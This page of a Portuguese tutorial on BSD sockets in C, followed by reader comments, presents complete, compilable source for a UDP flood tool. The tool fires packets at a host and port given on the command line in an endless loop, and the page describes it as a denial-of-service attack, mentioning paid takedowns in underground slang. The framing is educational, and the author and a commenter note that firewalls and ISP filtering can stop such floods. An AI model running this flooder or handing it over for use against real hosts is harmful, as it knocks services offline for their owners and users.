BSD Sockets em linguagem C

Venho neste artigo explicar como funciona sockets em ANSi C, explicar portabilidade e exemplos reais e diferentes de artigos semelhantes. Enfim, aqui você aprenderá a usar sockets na prática.

[ Hits: 119.550 ]

Por: C00L3R_ em 06/07/2010 | Blog: https://github.com/CoolerVoid


Exemplo UDP Flood



Bom, UDP flood seria Denial of Service ou DoS, é um ataque de negação de serviço. Basicamente é quando você sobrecarrega uma determinada rede a ponto de que ela se torne inacessível, ou seja, você iria derrubar esta rede.

Você pode floodar com pacotes SYN, UDP, ACK... uma determinada porta a fim de derrubar a rede. No nosso caso vamos usar UDP no IRC, o público underground fala pacotar servidor X, assim evita falar "vamos floodar para derrubar tal servidor", tem outras gírias como "picar o rodo já que não deu nada", pessoal faz muito isso, é pago para fazer um serviço, não conseguiu fazer nenhum estrago, então simplesmente derruba o host.

Lembrando aí que ataques UDP já tem muitos routers que tem proteção para o mesmo, IPtables do Linux tem uma configuração para fazer isso, o packet filter dos *BSD também não é muito difícil, qualquer firewall dá block neste tipo de ataque, desde que seja configurado...

Vamos ao exemplo, está com linhas comentadas.

/*
GarageCode coolest things Hehehe
http://GarageCode.tk

*Function this programm
this is a UDP flooder,i make it to study  Sockets

*tested with GCC 
 i wheel on Unix/Linux/BSD this:
    gcc -o program program.c; ./program host port

Author: "Cooler_"  
contact: tony.unix@yahoo.com.br or c00f3r@gmail.com
license: GPL2

visit this site: http://BotecoUnix.com.br
Real Geeks BotecoUnix

greetz 
Thanks _mlk_ , m0nad,IAK,Fox,edenc,D3lf0,zepplin and f0kerdebug.

            ,;~;,                           
                /\_                                                    
               (  /                               
               (()|     //)                     
               | \\  ,,;;'\             GAME OVER
           __ _(  )m=(((((((((((((================--------
         /'  ' '()/~' '.(, |
      ,;(      )||     |  ~             
     ,;' \    /-(.;,   ))            
          ) / /     ) //   
         //  \\     |||   
        )_\   )_\   )_\\  

      
*/
#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include "netdb.h"
#include "stdarg.h"
#include "sys/param.h"
#include "sys/socket.h"
#include "netinet/in.h"

#define STRING "ola"
#define SIZE 50

int conecta(char *, short);

int conecta(char *server, short port) {
   struct sockaddr_in sin;
   struct hostent *host;
   int sock;
   host = gethostbyname(server);
   if (host==NULL) {
      printf(" host: %s invalido\n",server);
      exit(0);
   }
   printf("  --> pacotando %s:%d\n ", server, port);
// setamos tudo para zero velho clichê blabla
   bzero((char*) &sin,sizeof(sin));
   bcopy(host->h_addr, (char *) &sin.sin_addr, host->h_length);
   sin.sin_family = host->h_addrtype;
   sin.sin_port = htons(port);
// olhe nosso dgram
   sock = socket(AF_INET, SOCK_DGRAM, 0);
   connect(sock,(struct sockaddr *) &sin, sizeof(sin));
   return sock;
}

main(int argc, char **argv) {
   int var;
   if(argc != 3) {
      fprintf(stderr, "\nUDP Flooder by Cooler_\nSiga o exemplo: %s host port\n",argv[0]);
      exit(0);
   }
   var=conecta(argv[1], atoi(argv[2]));
//loop infinito
   for(;;) {
// passamos a palavra a floodar e o seu tamanho
      send(var, STRING, SIZE, 0);
   }
}

Bom, o assunto de UDP fica por aqui, praticamente acabou nossa aventura.

Página anterior     Próxima página

Páginas do artigo
   1. Introdução
   2. Explanação ao TCP/IP
   3. O que é socket
   4. Funções read(), send() e exemplo cliente HTTP
   5. Funções listen(), bind(), accept() e exemplo de servidor HTTP
   6. Na prática fazendo um FUZZER TCP
   7. Servidor e cliente com fork
   8. Servidor de comandos e scanner de portas
   9. Simple socket library
   10. Explanação ao UDP e exemplo de servidor e cliente
   11. Exemplo UDP Flood
   12. Portabilidade
   13. Conclusão
Outros artigos deste autor

Banco de dados orientados a documentos

Trabalhando com arquivos no Perl

Bind: Explorando e evitando falhas

Usando OpenBSD como desktop

Buffer Overflow: Entendendo e explorando

Leitura recomendada

Monitorando o consumo de banda com Bwbar

O Modelo de Referência OSI

Tutorial - Aplicação em C para transferência de arquivo usando socket TCP e Thread

Controlando UPLOAD com o CBQ

A duplicação do buffer de saída na chamada de sistema fork() do Linux

  
Comentários
[1] Comentário enviado por VonNaturAustreVe em 06/07/2010 - 03:24h

Excelente cara vou ler tudo :)

[2] Comentário enviado por removido em 06/07/2010 - 05:29h

Hey C00L3R,
Parabéns, é um ótimo artigo. Minhas dúvidas surgiram após meus testes.
Um abraço.

[3] Comentário enviado por andrezc em 06/07/2010 - 08:12h

Cara, realmente esse é um dos melhores artigos que eu já li por aqui. Parabéns.

[4] Comentário enviado por werneral em 06/07/2010 - 11:18h

Muito bom! Obrigado!

[5] Comentário enviado por uberalles em 06/07/2010 - 11:43h

verdadeira aula, velho. parabéns!
muito bom "resumão" do Unix Network programming. Nunca consegui fazer nada decente em sockets e esta tua aula deverá me ajudar muito.

[6] Comentário enviado por stremer em 07/07/2010 - 15:28h

para quem interessar, ha algum tempo atras escrevi um script mostrando como criar um robo http e enviei ao VOL.

http://www.vivaolinux.com.br/script/Robo-HTTP-usando-socket-e-codigo-multiplataforma

Interessante para quem esta aprendendo sockets...

OTIMO ARTIGO

[7] Comentário enviado por andrezc em 07/07/2010 - 15:43h

Opa stremer, eu cheguei a ver este seu script, realmente fabuloso.

Um abraço.

[8] Comentário enviado por fernandopinheiro em 07/07/2010 - 20:23h

Parabens, muito bom!!

[9] Comentário enviado por brunosolar em 08/07/2010 - 09:48h

Parabens realmente muito bom. So queria fazer um comentario sobra a parte do UDP flood. Sim hoje em dia qualquer firewal simples pode recusar este tipo de pacote.

No entanto dependendo da quantidade de pacotes UDP enviados (leia-se DDOS) você poderá ser "derrubado" pois o firewall irá gastar muito processador para descatar todos os pacotes. A melhor solução (AINDA) para ataques DOS / DDOS é diretamente no ISP onde eles irão setar no roteador o IP do atacante para /dev/null (exemplo). claro que voce corre o risco de perder algum cliente que faça parte da rede redirecionada.

No mais excelente trabalho.

[10] Comentário enviado por shazaum em 24/09/2010 - 11:44h

opa, no fuzzer faltou uma lib...

#include <netinet/in.h>

[11] Comentário enviado por thomasawrd em 18/07/2014 - 12:41h

parabéns cara excelente artigo,me ajudou muito.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts